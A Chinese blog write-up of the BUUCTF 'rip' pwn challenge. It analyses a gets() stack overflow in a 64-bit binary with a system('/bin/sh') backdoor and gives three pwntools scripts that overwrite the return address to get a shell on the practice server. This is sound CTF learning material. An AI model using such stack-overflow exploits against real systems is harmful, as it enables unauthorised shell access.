BUU刷题-Pwn-rip

解题思路:

泄露或修改内存数据:

  1. 堆地址:无需
  2. 栈地址:无需
  3. libc地址:无需
  4. BSS段地址:无需
    劫持程序执行流程:[[ret2libc(栈溢出调用任意函数)]]
    获得shell或flag:[[劫持返回地址]]
学到的知识:

[[堆栈平衡]]

题目信息:
┌──(kali㉿kali)-[~/Desktop]
└─$ file pwn1 
pwn1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=1c72ddcad651c7f35bb655e0ddda5ecbf8d31999, not stripped
                                                                                                                     
┌──(kali㉿kali)-[~/Desktop]
└─$ checksec --file=pwn1 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified    Fortifiable     FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   64) Symbols       No    0   1pwn1

libc版本:
wp借鉴:buuctf rip 详细wp - refrain-again - 博客园 (cnblogs.com)
(23条消息) buu rip_沫忆末忆的博客-CSDN博客_buu rip
你终于回来了(。・∀・)ノ (cnblogs.com)

核心伪代码分析:

存在利用的的代码:

int fun()
{
  return system("/bin/sh");
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[15]; // [rsp+1h] [rbp-Fh] BYREF

  puts("please input");
  gets(s, argv);//get是一个输入函数
  puts(s);
  puts("ok,bye!!!");
  return 0;
}
分析:

有后门函数,利用栈溢出(思路没问题,但是远程的环境有问题)
里面有详细解释,涉及到[[堆栈平衡]]

.text:0000000000401186 fun             proc nears
-000000000000000F s               db ?
......
+0000000000000000  s              db 8 dup(?)
+0000000000000008  r              db 8 dup(?)

注意:
因为此题出的比较草率,没有考虑关闭缓冲区,please input加入缓冲区之后并没有满,因此继续留在缓冲区即程序并没有输出出来,所以根本就收不到这字符串,自然就会超时。菜鸡的我被这个问题困了好久,然后就放弃了打远程,感谢博主让我回头看了看这个题并明白了

脚本:

脚本:
一共得到了三种脚本:

来源:(23条消息) buu rip_沫忆末忆的博客-CSDN博客_buu rip
exp1

from pwn import *

p = remote('node3.buuoj.cn',28109)

payload = b'a'*23+p64(0x401185)+p64(0x401186) 

p.sendline(payload) 

p.interactive()

exp2

from pwn import *

p = remote('node3.buuoj.cn',28109) 

payload = b'a'*15+p64(0x401186) 

p.sendline(payload) 

p.interactive()

来源:你终于回来了(。・∀・)ノ (cnblogs.com)
exp3

from pwn import *

p = remote("node4.buuoj.cn",27296)

payload=b'A'*15+b'B'*8+p64(0x401186+1)

p.sendline(payload)

p.interactive()
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值